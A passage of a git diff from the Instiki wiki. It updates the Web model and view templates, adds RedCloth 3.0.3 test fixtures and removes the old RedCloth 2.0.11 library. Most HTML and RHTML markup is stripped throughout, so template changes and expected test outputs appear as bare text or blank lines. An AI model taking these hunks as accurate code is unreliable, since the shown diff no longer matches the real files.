"#{text}" - else "#{text}" end - else - if has_file?(name) - "#{text}" - else - "#{text}?" - end - end - end - def make_pic_link(mode, name, text) link = CGI.escape(name) case mode @@ -118,12 +116,8 @@ class Web end end - def has_page?(name) - pages[name] - end - - def has_file?(name) - wiki.file_yard(self).has_file?(name) + def max_upload_size + @max_upload_size || 100 end # Clears the display cache for all the pages with references to @@ -137,6 +131,18 @@ class Web select.each { |page| page.revisions.each { |revision| revision.clear_display_cache } } end + def remove_pages(pages_to_be_removed) + pages.delete_if { |page_name, page| pages_to_be_removed.include?(page) } + end + + def revised_on + select.most_recent_revision + end + + def select(&condition) + PageSet.new(self, @pages.values, condition) + end + private # Returns an array of all the wiki words in any current revision def wiki_words @@ -152,4 +158,5 @@ class Web def wiki @wiki ||= WikiService.instance end + end \ No newline at end of file diff --git a/app/views/admin/edit_web.rhtml b/app/views/admin/edit_web.rhtml index 887bf5e9..e752b607 100644 --- a/app/views/admin/edit_web.rhtml +++ b/app/views/admin/edit_web.rhtml @@ -17,18 +17,6 @@

        Specialize

        -
        - Turning safe mode on will strip HTML tags and stylesheet options from the content of all pages. - Turning on "brackets only" will require all wiki words to be as [[wiki word]] and WikiWord - won't work. - Turning "allow uploads" on will let wiki users to upload pictures and other files to the wiki - and include them on wiki pages. - Additions to the stylesheet take precedence over the existing styles. - Hint: View source on a page you want to style to find ID names on individual tags. - - See styles >> - -
        Markup: - -    - +
        +

        - /> Safe mode -    + /> + Safe mode + - strip HTML tags and stylesheet options from the content of all pages +
        /> Brackets only -    - /> Count pages -    - /> Allow uploads + - require all wiki words to be as [[wiki word]], WikiWord links won't be created +
        + /> + Count pages +
        + /> + Allow uploads of no more than + + kbytes + - + let wiki users to upload pictures and other files and include or link to them on wiki pages + +
        +

        + + Stylesheet tweaks >> + + - add or change styles used by this web; styles defined here take precedence over + instiki.css. Hint: View HTML source of a page you want to style to find ID names on individual + tags. +

        @@ -16,7 +16,7 @@ as - | Cancel (unlocks page) + | Cancel (unlocks page)

        diff --git a/app/views/wiki/list.rhtml b/app/views/wiki/list.rhtml index 77a09b85..dddd499a 100644 --- a/app/views/wiki/list.rhtml +++ b/app/views/wiki/list.rhtml @@ -17,7 +17,7 @@ <% end %> <% if @web.count_pages %> @@ -51,7 +51,7 @@ <% end %>
        diff --git a/app/views/wiki/locked.rhtml b/app/views/wiki/locked.rhtml index e3590afd..c878233f 100644 --- a/app/views/wiki/locked.rhtml +++ b/app/views/wiki/locked.rhtml @@ -8,12 +8,12 @@

        <%= link_to 'Edit the page anyway', - {:web => @web_name, :action => 'edit', :id => @page.name, :params => {'break_lock' => '1'} }, + {:web => @web_name, :action => 'edit', :id => @page.url, :params => {'break_lock' => '1'} }, {:accesskey => 'E'} %> <%= link_to 'Cancel', - {:web => @web_name, :action => 'show', :id => @page.name}, + {:web => @web_name, :action => 'show', :id => @page.url}, {:accesskey => 'C'} %> diff --git a/app/views/wiki/page.rhtml b/app/views/wiki/page.rhtml index b8cb46f8..cbccc582 100644 --- a/app/views/wiki/page.rhtml +++ b/app/views/wiki/page.rhtml @@ -27,14 +27,14 @@

        + + + If @plastic_cup@ contains either @nil@ or @false@, you won't see anything print + to the screen. They're not on the @if@ guest list. So @if@ isn't going to run + any of the code it's protecting. + + + But @nil@ and @false@ need not walk away in shame. They may be of questionable + character, but @unless@ runs a smaller establishment that caters to the bedraggled. + The @unless@ keyword has a policy of only allowing those with a negative charge in. + Who are: @nil@ and @false@. + + +
        +    unless plastic_cup
        +      print "Plastic cup is on the down low."
        +    end
        +  
        + + + You can also use @if@ and @unless@ at the end of a single line of code, if that's + all that is being protected. + + +
        +    print "Yeah, plastic cup is up again!" if plastic_cup
        +    print "Hardly. It's down." unless plastic_cup
        +  
        + + + Now that you've met @false@, I'm sure you can see what's on next. + +out: "

        False

        \n\n\t

        \"Shape

        \n\n\t

        The cat Trady Blix. Frozen in emptiness. Immaculate whiskers rigid. Placid eyes of lake. Tail of warm icicle. Sponsored by a Very Powerful Pause Button.

        \n\n\t

        The darkness surrounding Blix can be called negative space. Hang on to that phrase. Let it suggest that the emptiness has a negative connotation. In a similar way, nil has a slightly sour note that it whistles.

        \n\n\t

        Generally speaking, everything in Ruby has a positive charge to it. This spark flows through strings, numbers, regexps, all of it. Only two keywords wear a shady cloak: nil and false draggin us down.

        \n\n\t

        You can test that charge with an if keyword. It looks very much like the do blocks we saw in the last chapter, in that both end with an end.

        \n\n\n
        \n  if plastic_cup\n    print \"Plastic cup is on the up 'n' up!\" \n  end\n
        \n\t

        If plastic_cup contains either nil or false, you won’t see anything print to the screen. They’re not on the if guest list. So if isn’t going to run any of the code it’s protecting.

        \n\n\t

        But nil and false need not walk away in shame. They may be of questionable character, but unless runs a smaller establishment that caters to the bedraggled. The unless keyword has a policy of only allowing those with a negative charge in. Who are: nil and false.

        \n\n\n
        \n  unless plastic_cup\n    print \"Plastic cup is on the down low.\" \n  end\n
        \n\t

        You can also use if and unless at the end of a single line of code, if that’s all that is being protected.

        \n\n\n
        \n  print \"Yeah, plastic cup is up again!\" if plastic_cup\n  print \"Hardly. It's down.\" unless plastic_cup\n
        \n\t

        Now that you’ve met false, I’m sure you can see what’s on next.

        " diff --git a/vendor/RedCloth-3.0.3/tests/table.yml b/vendor/RedCloth-3.0.3/tests/table.yml new file mode 100644 index 00000000..bf5059e1 --- /dev/null +++ b/vendor/RedCloth-3.0.3/tests/table.yml @@ -0,0 +1,198 @@ +in: | + {background:#ddd}. |S|Target|Complete|App|Milestone| + |!/i/g.gif!|11/18/04|11/18/04|070|XML spec complete| + |!/i/g.gif!|11/29/04|11/29/04|011|XML spec complete (KH is on schedule)| + |!/i/g.gif!|11/29/04|11/29/04|051|XML spec complete (KH is on schedule)| + |!/i/g.gif!|11/29/04|11/29/04|081|XML spec complete (KH is on schedule)| + |!/i/g.gif!|11/19/04|11/22/04|070|Preprocessor complete| + |!/i/g.gif!|11/22/04|11/22/04|070|Dialog pass 1 builds an index file| + |!/i/g.gif!|11/24/04|11/24/04|070|Dialog pass 2 98% complete| + |!/i/g.gif!|11/30/04|11/30/04|070|Feature complete. Passes end-to-end smoke test.| + |!/i/g.gif!|11/30/04|11/30/04|011|Preprocessor updates complete| + |!/i/g.gif!|11/30/04|11/30/04|051|Preprocessor updates complete| + |!/i/g.gif!|11/30/04|11/29/04|081|Preprocessor updates complete| + |!/i/w.gif!|12/02/04|.|011|Dialog pass 1 and 2 complete (98+%)| + |!/i/w.gif!|12/02/04|.|051|Dialog pass 1 and 2 complete (98+%)| + |!/i/w.gif!|12/02/04|.|081|Dialog pass 1 and 2 complete (98+%)| + |!/i/w.gif!|12/03/04|.|011|Feature complete| + |!/i/w.gif!|12/03/04|.|051|Feature complete| + |!/i/w.gif!|12/03/04|.|081|Feature complete| + |!/i/w.gif!|12/10/04|.|011|Deployed to Napa test workstation. Passes smoke test.| + |!/i/w.gif!|12/10/04|.|051|Deployed to Napa test workstation. Passes smoke test.| + |!/i/w.gif!|12/10/04|.|081|Deployed to Napa test workstation. Passes smoke test.| + |!/i/w.gif!|12/10/04|.|070|Deployed to Napa test workstation. Passes smoke test.| + |!/i/w.gif!|12/17/04|.|011|System testing complete. Begin testing with live customer data.| + |!/i/w.gif!|12/17/04|.|051|System testing complete. Begin testing with live customer data.| + |!/i/w.gif!|12/17/04|.|081|System testing complete. Begin testing with live customer data.| + |!/i/w.gif!|12/17/04|.|070|System testing complete. Begin testing with live customer data.| +out: |- + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        STargetCompleteAppMilestone
        11/18/0411/18/04070XML spec complete
        11/29/0411/29/04011XML spec complete (KH is on schedule)
        11/29/0411/29/04051XML spec complete (KH is on schedule)
        11/29/0411/29/04081XML spec complete (KH is on schedule)
        11/19/0411/22/04070Preprocessor complete
        11/22/0411/22/04070Dialog pass 1 builds an index file
        11/24/0411/24/04070Dialog pass 2 98% complete
        11/30/0411/30/04070Feature complete. Passes end-to-end smoke test.
        11/30/0411/30/04011Preprocessor updates complete
        11/30/0411/30/04051Preprocessor updates complete
        11/30/0411/29/04081Preprocessor updates complete
        12/02/04011Dialog pass 1 and 2 complete (98+%)
        12/02/04051Dialog pass 1 and 2 complete (98+%)
        12/02/04081Dialog pass 1 and 2 complete (98+%)
        12/03/04011Feature complete
        12/03/04051Feature complete
        12/03/04081Feature complete
        12/10/04011Deployed to Napa test workstation. Passes smoke test.
        12/10/04051Deployed to Napa test workstation. Passes smoke test.
        12/10/04081Deployed to Napa test workstation. Passes smoke test.
        12/10/04070Deployed to Napa test workstation. Passes smoke test.
        12/17/04011System testing complete. Begin testing with live customer data.
        12/17/04051System testing complete. Begin testing with live customer data.
        12/17/04081System testing complete. Begin testing with live customer data.
        12/17/04070System testing complete. Begin testing with live customer data.
        diff --git a/vendor/redcloth-2.0.11/tests/textism.yml b/vendor/RedCloth-3.0.3/tests/textism.yml old mode 100755 new mode 100644 similarity index 97% rename from vendor/redcloth-2.0.11/tests/textism.yml rename to vendor/RedCloth-3.0.3/tests/textism.yml index cdb0c625..5489c04d --- a/vendor/redcloth-2.0.11/tests/textism.yml +++ b/vendor/RedCloth-3.0.3/tests/textism.yml @@ -114,7 +114,7 @@ in: h3=. centered header out:

        centered header

        --- in: '!>/image.gif! right-aligned image' -out:

        right-aligned image

        +out:

        right-aligned image

        --- in: p[no]{color:red}. A Norse of a different colour. out:

        A Norse of a different colour.

        @@ -255,7 +255,7 @@ in: |- # Yes they do # But you knew that - Some more text of dubious character. Here is a noisome string of CAPITAL letters. Here is something we want to _emphasize_. + Some more text of dubious character. Here is a noisome string of CAPITAL letters. Here is something we want to _emphasize_. That was a linebreak. And something to indicate *strength*. Of course I could use my own HTML tags if I felt like it. h3. Coding @@ -287,13 +287,12 @@ out: |-

        This is a subhead

        This is some text of dubious character. Isn’t the use of “quotes” just lazy writing—and theft of ‘intellectual property’ besides? I think the time has come to see a block quote.

        - +

        This is a block quote. I’ll admit it’s not the most exciting block quote ever devised.

        Simple list:

        -
        1. one
        2. two
        3. @@ -301,7 +300,6 @@ out: |-

        Multi-level list:

        -
        1. one
            @@ -320,7 +318,6 @@ out: |-

          Mixed list:

          -
          • Point one
          • Point two @@ -340,7 +337,7 @@ out: |-

            Well, that went well. How about we insert an old-fashioned hypertext link? Will the quote marks in the tags get messed up? No!

            This is a link

            - + @@ -361,23 +358,25 @@ out: |-
            this
            + +

            An image:

            optional alt text

            -
            1. Librarians rule
            2. Yes they do
            3. But you knew that
            -

            Some more text of dubious character. Here is a noisome string of CAPITAL letters. Here is something we want to emphasize.
            +

            Some more text of dubious character. Here is a noisome string of CAPITAL letters. Here is something we want to emphasize. That was a linebreak. And something to indicate strength. Of course I could use my own HTML tags if I felt like it.

            - +

            Coding

            This is some code, "isn't it". Watch those quote marks! Now for some preformatted text:

            +
               
                   $text = str_replace("<p>%::%</p>","",$text);
            @@ -386,11 +385,9 @@ out: |-
               
               
               
            -

            This isn’t code.

            So you see, my friends:

            -
            • The time is now
            • The time is not later
            • @@ -398,7 +395,3 @@ out: |-
            • We must act
            - - - - diff --git a/vendor/redcloth-2.0.11/RedCloth.gemspec b/vendor/redcloth-2.0.11/RedCloth.gemspec deleted file mode 100755 index 2ff4ab35..00000000 --- a/vendor/redcloth-2.0.11/RedCloth.gemspec +++ /dev/null @@ -1,34 +0,0 @@ -require 'rubygems' -spec = Gem::Specification.new do |s| - - ## Basic Information - - s.name = 'RedCloth' - s.version = "2.0.11" - s.platform = Gem::Platform::RUBY - s.summary = <<-TXT - RedCloth is a module for using Textile in Ruby. Textile is a text format. - A very simple text format. Another stab at making readable text that can be converted to HTML. - TXT - - ## Include tests, libs, docs - - s.files = ['tests/**/*', 'lib/**/*', 'docs/**/*', 'run-tests.rb'].collect do |dirglob| - Dir.glob(dirglob) - end.flatten.delete_if {|item| item.include?("CVS")} - - ## Load-time details - - s.require_path = 'lib' - s.autorequire = 'redcloth' - - ## Author and project details - - s.author = "Why the Lucky Stiff" - s.email = "why@ruby-lang.org" - s.rubyforge_project = "redcloth" - s.homepage = "http://www.whytheluckystiff.net/ruby/redcloth/" -end -if $0==__FILE__ - Gem::Builder.new(spec).build -end diff --git a/vendor/redcloth-2.0.11/lib/redcloth.rb b/vendor/redcloth-2.0.11/lib/redcloth.rb deleted file mode 100755 index 61b2577e..00000000 --- a/vendor/redcloth-2.0.11/lib/redcloth.rb +++ /dev/null @@ -1,894 +0,0 @@ -# vim:ts=4:sw=4: -# = RedCloth - Textile for Ruby -# -# Homepage:: http://whytheluckystiff.net/ruby/redcloth/ -# Author:: why the lucky stiff (http://whytheluckystiff.net/) -# Copyright:: (c) 2004 why the lucky stiff (and his puppet organizations.) -# License:: BSD -# -# (see http://hobix.com/textile/ for a Textile Reference.) -# -# Based on (and also inspired by) both: -# -# PyTextile: http://diveintomark.org/projects/textile/textile.py.txt -# Textism for PHP: http://www.textism.com/tools/textile/ -# -# - -class String - # - # Flexible HTML escaping - # - def htmlesc!( mode ) - gsub!( '&', '&' ) - gsub!( '"', '"' ) if mode != :NoQuotes - gsub!( "'", ''' ) if mode == :Quotes - gsub!('<', '<') - gsub!('>', '>') - end -end - -# = RedCloth -# -# RedCloth is a Ruby library for converting Textile -# into HTML. -# -# == What is Textile? -# -# Textile is a simple formatting style for text -# documents, loosely based on some HTML conventions. -# -# == Sample Textile Text -# -# h2. This is a title -# -# h3. This is a subhead -# -# This is a bit of paragraph. -# -# bq. This is a blockquote. -# -# = Writing Textile -# -# A Textile document consists of paragraphs. Paragraphs -# can be specially formatted by adding a small instruction -# to the beginning of the paragraph. -# -# h[n]. Header of size [n]. -# bq. Blockquote. -# # Numeric list. -# * Bulleted list. -# -# == Quick Phrase Modifiers -# -# Quick phrase modifiers are also included, to allow formatting -# of small portions of text within a paragraph. -# -# \_emphasis\_ -# \_\_italicized\_\_ -# \*strong\* -# \*\*bold\*\* -# ??citation?? -# -deleted text- -# +inserted text+ -# ^superscript^ -# ~subscript~ -# @code@ -# %(classname)span% -# -# ==notextile== (leave text alone) -# -# == Links -# -# To make a hypertext link, put the link text in "quotation -# marks" followed immediately by a colon and the URL of the link. -# -# Optional: text in (parentheses) following the link text, -# but before the closing quotation mark, will become a Title -# attribute for the link, visible as a tool tip when a cursor is above it. -# -# Example: -# -# "This is a link (This is a title) ":http://www.textism.com -# -# Will become: -# -# This is a link -# -# == Images -# -# To insert an image, put the URL for the image inside exclamation marks. -# -# Optional: text that immediately follows the URL in (parentheses) will -# be used as the Alt text for the image. Images on the web should always -# have descriptive Alt text for the benefit of readers using non-graphical -# browsers. -# -# Optional: place a colon followed by a URL immediately after the -# closing ! to make the image into a link. -# -# Example: -# -# !http://www.textism.com/common/textist.gif(Textist)! -# -# Will become: -# -# Textist -# -# With a link: -# -# !/common/textist.gif(Textist)!:http://textism.com -# -# Will become: -# -# Textist -# -# == Defining Acronyms -# -# HTML allows authors to define acronyms via the tag. The definition appears as a -# tool tip when a cursor hovers over the acronym. A crucial aid to clear writing, -# this should be used at least once for each acronym in documents where they appear. -# -# To quickly define an acronym in Textile, place the full text in (parentheses) -# immediately following the acronym. -# -# Example: -# -# ACLU(American Civil Liberties Union) -# -# Will become: -# -# ACLU -# -# == Adding Tables -# -# In Textile, simple tables can be added by seperating each column by -# a pipe. -# -# |a|simple|table|row| -# |And|Another|table|row| -# -# Attributes are defined by style definitions in parentheses. -# -# table(border:1px solid black). -# (background:#ddd;color:red). |{}| | | | -# -# == Using RedCloth -# -# RedCloth is simply an extension of the String class, which can handle -# Textile formatting. Use it like a String and output HTML with its -# RedCloth#to_html method. -# -# doc = RedCloth.new " -# -# h2. Test document -# -# Just a simple test." -# -# puts doc.to_html - -class RedCloth < String - - VERSION = '2.0.11' - - # - # Two accessor for setting security restrictions. - # - # This is a nice thing if you're using RedCloth for - # formatting in public places (e.g. Wikis) where you - # don't want users to abuse HTML for bad things. - # - # If +:filter_html+ is set, HTML which wasn't - # created by the Textile processor will be escaped. - # - # If +:filter_styles+ is set, it will also disable - # the style markup specifier. ('{color: red}') - # - attr_accessor :filter_html, :filter_styles - - # - # Accessor for toggling line folding. - # - # If +:fold_lines+ is set, single newlines will - # not be converted to break tags. - # - attr_accessor :fold_lines - - # - # Returns a new RedCloth object, based on _string_ and - # enforcing all the included _restrictions_. - # - # r = RedCloth.new( "h1. A bold man", [:filter_html] ) - # r.to_html - # #=>"

            A <b>bold</b> man

            " - # - def initialize( string, restrictions = [] ) - @lite = false - restrictions.each { |r| method( "#{ r }=" ).call( true ) } - super( string ) - end - - # - # Generates HTML from the Textile contents. The _lite_ flag - # may be used to honor only inline markup, ignoring lists, tables, - # and block formatting. - # - # r = RedCloth.new( "And then? She *fell*!" ) - # r.to_html( true ) - # #=>"And then? She fell!" - # - def to_html( lite = nil ) - - @lite = lite unless lite.nil? - - # make our working copy - text = self.dup - - @urlrefs = {} - @shelf = [] - - incoming_entities text - ## encode_entities text - ## fix_entities text - clean_white_space text - - get_refs text - - no_textile text - - inline text - - unless @lite - fold text - block text - end - - retrieve text - - text.gsub!( /<\/?notextile>/, '' ) - text.gsub!( /x%x%/, '&' ) - text.gsub!( /
            /, "
            \n" ) - text.strip! - text - - end - - ####### - private - ####### - # - # Mapping of 8-bit ASCII codes to HTML numerical entity equivalents. - # (from PyTextile) - # - TEXTILE_TAGS = - - [[128, 8364], [129, 0], [130, 8218], [131, 402], [132, 8222], [133, 8230], - [134, 8224], [135, 8225], [136, 710], [137, 8240], [138, 352], [139, 8249], - [140, 338], [141, 0], [142, 0], [143, 0], [144, 0], [145, 8216], [146, 8217], - [147, 8220], [148, 8221], [149, 8226], [150, 8211], [151, 8212], [152, 732], - [153, 8482], [154, 353], [155, 8250], [156, 339], [157, 0], [158, 0], [159, 376]]. - - collect! do |a, b| - [a.chr, ( b.zero? and "" or "&#{ b };" )] - end - - # - # Regular expressions to convert to HTML. - # - A_HLGN = /(?:(?:<>|<|>|\=|[()]+)+)/ - A_VLGN = /[\-^~]/ - C_CLAS = '(?:\([^)]+\))' - C_LNGE = '(?:\[[^\]]+\])' - C_STYL = '(?:\{[^}]+\})' - S_CSPN = '(?:\\\\\d+)' - S_RSPN = '(?:/\d+)' - A = "(?:#{A_HLGN}?#{A_VLGN}?|#{A_VLGN}?#{A_HLGN}?)" - S = "(?:#{S_CSPN}?#{S_RSPN}|#{S_RSPN}?#{S_CSPN}?)" - C = "(?:#{C_CLAS}?#{C_STYL}?#{C_LNGE}?|#{C_STYL}?#{C_LNGE}?#{C_CLAS}?|#{C_LNGE}?#{C_STYL}?#{C_CLAS}?)" - # PUNCT = Regexp::quote( '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' ) - PUNCT = Regexp::quote( '!"#$%&\'*+,-./:;=?@\\^_`|~' ) - HYPERLINK = '(\S+?)([^\w\s/;=\?]*?)(\s|$)' - - GLYPHS = [ - # [ /([^\s\[{(>])?\'([dmst]\b|ll\b|ve\b|\s|:|$)/, '\1’\2' ], # single closing - [ /([^\s\[{(>])\'/, '\1’' ], # single closing - [ /\'(?=\s|s\b|[#{PUNCT}])/, '’' ], # single closing - [ /\'/, '‘' ], # single opening - # [ /([^\s\[{(])?"(\s|:|$)/, '\1”\2' ], # double closing - [ /([^\s\[{(>])"/, '\1”' ], # double closing - [ /"(?=\s|[#{PUNCT}])/, '”' ], # double closing - [ /"/, '“' ], # double opening - [ /\b( )?\.{3}/, '\1…' ], # ellipsis - [ /\b([A-Z][A-Z0-9]{2,})\b(?:[(]([^)]*)[)])/, '\1' ], # 3+ uppercase acronym - [ /(^|[^"][>\s])([A-Z][A-Z0-9 ]{2,})([^\2\3' ], # 3+ uppercase caps - [ /(\.\s)?\s?--\s?/, '\1—' ], # em dash - [ /\s->\s/, ' → ' ], # en dash - [ /\s-\s/, ' – ' ], # en dash - [ /(\d+) ?x ?(\d+)/, '\1×\2' ], # dimension sign - [ /\b ?[(\[]TM[\])]/i, '™' ], # trademark - [ /\b ?[(\[]R[\])]/i, '®' ], # registered - [ /\b ?[(\[]C[\])]/i, '©' ] # copyright - ] - - I_ALGN_VALS = { - '<' => 'left', - '=' => 'center', - '>' => 'right' - } - - H_ALGN_VALS = { - '<' => 'left', - '=' => 'center', - '>' => 'right', - '<>' => 'justify' - } - - V_ALGN_VALS = { - '^' => 'top', - '-' => 'middle', - '~' => 'bottom' - } - - QTAGS = [ - ['**', 'b'], - ['*', 'strong'], - ['??', 'cite'], - ['-', 'del'], - ['__', 'i'], - ['_', 'em'], - ['%', 'span'], - ['+', 'ins'], - ['^', 'sup'], - ['~', 'sub'] - ].collect do |rc, ht| - ttr = Regexp.quote(rc) - punct = PUNCT.sub( Regexp::quote(rc), '' ) - re = /(^|[\s\>#{punct}{(\[]) - #{ttr} - (#{C}) - (?::(\S+?))? - ([^\s#{ttr}]+?(?:[^\n]|\n(?!\n))*?) - ([#{punct}]*?) - #{ttr} - (?=[\s\])}<#{punct}]|$)/xm - [re, ht] - end - - def pgl( text ) - GLYPHS.each do |re, resub| - text.gsub! re, resub - end - end - - def pba( text_in, element = "" ) - - return '' unless text_in - - style = [] - text = text_in.dup - if element == 'td' - colspan = $1 if text =~ /\\(\d+)/ - rowspan = $1 if text =~ /\/(\d+)/ - style << "vertical-align:#{ v_align( $& ) };" if text =~ A_VLGN - end - - style << "#{ $1 };" if not @filter_styles and - text.sub!( /\{([^}]*)\}/, '' ) - - lang = $1 if - text.sub!( /\[([^)]+?)\]/, '' ) - - cls = $1 if - text.sub!( /\(([^()]+?)\)/, '' ) - - style << "padding-left:#{ $1.length }em;" if - text.sub!( /([(]+)/, '' ) - - style << "padding-right:#{ $1.length }em;" if text.sub!( /([)]+)/, '' ) - - style << "text-align:#{ h_align( $& ) };" if text =~ A_HLGN - - cls, id = $1, $2 if cls =~ /^(.*?)#(.*)$/ - - atts = '' - atts << " style=\"#{ style.join }\"" unless style.empty? - atts << " class=\"#{ cls }\"" unless cls.to_s.empty? - atts << " lang=\"#{ lang }\"" if lang - atts << " id=\"#{ id }\"" if id - atts << " colspan=\"#{ colspan }\"" if colspan - atts << " rowspan=\"#{ rowspan }\"" if rowspan - - atts - end - - TABLE_RE = /^(?:table(_?#{S}#{A}#{C})\. ?\n)?^(#{A}#{C}\.? ?\|.*?\|)(\n\n|\Z)/m - - def table( text ) - text.gsub!( TABLE_RE ) do |matches| - - tatts, fullrow = $~[1..2] - tatts = pba( tatts, 'table' ) - rows = [] - - fullrow. - split( /\|$/m ). - delete_if { |x| x.empty? }. - each do |row| - - ratts, row = pba( $1, 'tr' ), $2 if row =~ /^(#{A}#{C}\. )(.*)/m - - cells = [] - row.split( '|' ).each do |cell| - ctyp = 'd' - ctyp = 'h' if cell =~ /^_/ - - catts = '' - catts, cell = pba( $1, 'td' ), $2 if cell =~ /^(_?#{S}#{A}#{C}\. )(.*)/ - - unless cell.strip.empty? - cells << "\t\t\t#{ cell }" - end - end - rows << "\t\t\n#{ cells.join( "\n" ) }\n\t\t" - end - "\t\n#{ rows.join( "\n" ) }\n\t\n\n" - end - end - - LISTS_RE = /^([#*]+?#{C} .*?)$(?![^#*])/m - LISTS_CONTENT_RE = /^([#*]+)(#{A}#{C}) (.*)$/m - - def lists( text ) - text.gsub!( LISTS_RE ) do |match| - lines = match.split( /\n/ ) - last_line = -1 - depth = [] - lines.each_with_index do |line, line_id| - if line =~ LISTS_CONTENT_RE - tl,atts,content = $~[1..3] - if depth.last - if depth.last.length > tl.length - (depth.length - 1).downto(0) do |i| - break if depth[i].length == tl.length - lines[line_id - 1] << "
          • \n\t\n\t" - depth.pop - end - end - if depth.last.length == tl.length - lines[line_id - 1] << '' - end - end - unless depth.last == tl - depth << tl - atts = pba( atts ) - lines[line_id] = "\t<#{ lT(tl) }l#{ atts }>\n\t
          • #{ content }" - else - lines[line_id] = "\t\t
          • #{ content }" - end - last_line = line_id - - elsif line =~ /^\s+\S/ - last_line = line_id - elsif line_id - last_line < 2 and line =~ /^\S/ - last_line = line_id - end - if line_id - last_line > 1 or line_id == lines.length - 1 - depth.delete_if do |v| - lines[last_line] << "
          • \n\t" - end - end - end - lines.join( "\n" ) - end - end - - def lT( text ) - text =~ /\#$/ ? 'o' : 'u' - end - - def fold( text ) - text.gsub!( /(.+)\n(?![#*\s|])/, "\\1#{ @fold_lines ? ' ' : '
            ' }" ) - end - - BLOCK_RE = ['bq','h[1-6]','fn\d+','p'].collect!{|stag| - [stag, - /^(#{ stag })(#{A}#{C})\.(?::(\S+))? (.*)$/] - } - - def block( text ) - pre = false - find = ['bq','h[1-6]','fn\d+','p'] - - lines = text.split( /\n/ ) + [' '] - new_text = - lines.collect do |line| - pre = true if line =~ /<(pre|notextile)[^>]*>/i - BLOCK_RE.each do |stag, ctag| - line.gsub!( ctag ) do |m| - tag,atts,cite,content = $~[1..4] - - atts = pba( atts ) - - if tag =~ /fn(\d+)/ - tag = 'p'; - atts << " id=\"fn#{ $1 }\"" - content = "#{ $1 } #{ content }" - end - - start = "\t<#{ tag }" - tend = "" - - if tag == "bq" - cite = check_refs( cite ) - cite = " cite=\"#{ cite }\"" if cite - start = "\t\n\t\t#{ content }#{ tend }" - end unless pre - end - - line.gsub!( /^(?!\t|<\/?div|<\/?pre|<\/?notextile|<\/?code|$| )(.*)/, "\t

            \\1

            " ) unless pre - - line.gsub!( "
            ", "\n" ) if pre - pre = false if line =~ /<\/(pre|notextile)>/i - - line - end.join( "\n" ) - text.replace( new_text ) - end - - def span( text ) - QTAGS.each do |ttr, ht| - text.gsub!(ttr) do |m| - - start,atts,cite,content,tend = $~[1..5] - atts = pba( atts ) - atts << " cite=\"#{ cite }\"" if cite - - "#{ start }<#{ ht }#{ atts }>#{ content }#{ tend }" - - end - end - end - - LINK_RE = / - ([\s\[{(]|[#{PUNCT}])? # $pre - " # start - (#{C}) # $atts - ([^"]+?) # $text - \s? - (?:\(([^)]+?)\)(?="))? # $title - ": - (\S+?) # $url - (\/)? # $slash - ([^\w\/;]*?) # $post - (?=<|\s|$) - /x - - def links( text ) - text.gsub!( LINK_RE ) do |m| - pre,atts,text,title,url,slash,post = $~[1..7] - - url = check_refs( url ) - - atts = pba( atts ) - atts << " title=\"#{ title }\"" if title - atts = shelve( atts ) if atts - - "#{ pre }#{ text }#{ post }" - end - end - - REFS_RE = /(^|\s)\[(.+?)\]((?:http:\/\/|javascript:|ftp:\/\/|\/)\S+?)(?=\s|$)/ - - def get_refs( text ) - text.gsub!( REFS_RE ) do |m| - flag, url = $~[2..3] - @urlrefs[flag] = url - nil - end - end - - def check_refs( text ) - @urlrefs[text] || text - end - - IMAGE_RE = / - \! # opening - (\<|\=|\>)? # optional alignment atts - (#{C}) # optional style,class atts - (?:\. )? # optional dot-space - ([^\s(!]+?) # presume this is the src - \s? # optional space - (?:\(((?:[^\(\)]|\([^\)]+\))+?)\))? # optional title - \! # closing - (?::#{ HYPERLINK })? # optional href - /x - - def image( text ) - text.gsub!( IMAGE_RE ) do |m| - algn,atts,url,title,href,href_a1,href_a2 = $~[1..7] - atts = pba( atts ) - atts << " align=\"#{ i_align( algn ) }\"" if algn - atts << " title=\"#{ title }\"" if title - atts << " alt=\"#{ title }\"" - # size = @getimagesize($url); - # if($size) $atts.= " $size[3]"; - - href = check_refs( href ) if href - url = check_refs( url ) - atts << " border=\"0\"" if href - - out = '' - out << "" if href - out << "" - out << "#{ href_a1 }#{ href_a2 }" if href - - out - end - end - - CODE_RE = / - (^|[\s>#{PUNCT}{(\[]) # 1 open bracket? - @ # opening - (?:\|(\w+?)\|)? # 2 language - (\S(?:[^\n]|\n(?!\n))*?) # 3 code - @ # closing - (?=[\s\]}\)<#{PUNCT}]|$) # 4 closing bracket? - /x - - def code( text ) - text.gsub!( CODE_RE ) do |m| - before,lang,code,after = $~[1..4] - lang = " language=\"#{ lang }\"" if lang - "#{ before }#{ code }
            #{ after }" - end - end - - def shelve( val ) - @shelf << val - " <#{ @shelf.length }>" - end - - def retrieve( text ) - @shelf.each_with_index do |r, i| - text.gsub!( " <#{ i + 1 }>", r ) - end - end - - def incoming_entities( text ) - ## turn any incoming ampersands into a dummy character for now. - ## This uses a negative lookahead for alphanumerics followed by a semicolon, - ## implying an incoming html entity, to be skipped - - text.gsub!( /&(?![#a-z0-9]+;)/i, "x%x%" ) - end - - def encode_entities( text ) - ## Convert high and low ascii to entities. - # if $-K == "UTF-8" - # encode_high( text ) - # else - text.htmlesc!( :NoQuotes ) - # end - end - - def fix_entities( text ) - ## de-entify any remaining angle brackets or ampersands - text.gsub!( ">", ">" ) - text.gsub!( "<", "<" ) - text.gsub!( "&", "&" ) - end - - def clean_white_space( text ) - text.gsub!( /\r\n/, "\n" ) - text.gsub!( /\t/, '' ) - text.gsub!( /\n{3,}/, "\n\n" ) - text.gsub!( /\n *\n/, "\n\n" ) - text.gsub!( /"$/, "\" " ) - end - - def no_textile( text ) - text.gsub!( /(^|\s)==(.*?)==(\s|$)?/, - '\1\2\3' ) - end - - def footnote_ref( text ) - text.gsub!( /\b\[([0-9]+?)\](\s)?/, - '\1\2' ) - end - - OFFTAGS = /(code|pre|kbd|notextile)/ - OFFTAG_MATCH = /(?:(<\/#{ OFFTAGS }>)|(<#{ OFFTAGS }[^>]*>))(.*?)(?=<\/?#{ OFFTAGS }>|\Z)/mi - OFFTAG_OPEN = /<#{ OFFTAGS }/ - OFFTAG_CLOSE = /<\/?#{ OFFTAGS }/ - HASTAG_MATCH = 